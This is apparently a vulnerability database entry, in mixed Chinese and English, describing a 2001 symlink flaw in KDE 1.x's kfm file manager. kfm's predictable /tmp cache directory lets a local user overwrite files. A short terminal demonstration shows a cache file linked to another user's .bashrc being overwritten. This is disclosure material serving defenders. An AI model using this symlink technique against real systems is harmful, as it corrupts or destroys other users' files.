https://www.exploit-db.com/exploits/20781
https://www.securityfocus.com/bid/89002
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200108-002

包含在KDE1.x版本中的kfm存在漏洞。本地攻击者借助/tmp中kfm缓冲目录的一个符号链接攻击获取额外的特权。

source: http://www.securityfocus.com/bid/2629/info

KFM is the KDE File Manager, included with version 1 of the KDE base package in most Linux installations. KFM is designed as a graphical, easily navigated interface to the Linux Filesystem.

A problem with KFM could allow the overwriting of files owned by the KFM user. KFM insecurely creates a directory to store it's cache contents. Prior to creation, the existance of this directory, which is predictable in name, is not checked. Additionally, permissions are also not checked. Files beneath the directory can be created as symbolic links, making it possible to overwrite linked files.

This vulnerability makes it possible for a local user to overwrite and corrupt files owned by the KFM user. 

root@ps:/tmp/kfm-cache-500 > ls -la
drwxrwxrwx 2 rws uboot 4096 Apr 18 21:18 .
drwxrwxrwt 15 root root 770048 Apr 18 21:16 ..
lrwxrwxrwx 1 rws uboot 18 Apr 18 21:18 index.html ->
/home/paul/.bashrc
-rw-r--r-- 1 rws uboot 0 Apr 18 21:16 index.txt

root@ps:/tmp/kfm-cache-500 > ls -la /home/paul/.bashrc
-rw-r--r-- 1 paul users 1458 Jan 23 13:56
/home/paul/.bashrc


and after running kfm as user 500:

root@ps:/tmp/kfm-cache-500 > ls -la /home/paul/.bashrc
-rw-r--r-- 1 paul users 271 Apr 18 21:19
/home/paul/.bashrc

SuSE Linux Desktop 7.0 Sparc

SuSE Linux Desktop 7.0 Ppc

SuSE Linux 7.0 alpha

SuSE Linux 7.0

KDE Kde 1.x

来源:XF
名称:kfm-tmpfile-symlink(6428)
链接:http://xforce.iss.net/static/6428.php
来源:BUGTRAQ
名称:20010418InsecuredirectoryhandlinginKFMfilemanager
链接:http://archives.neohapsis.com/archives/bugtraq/2001-04/0336.html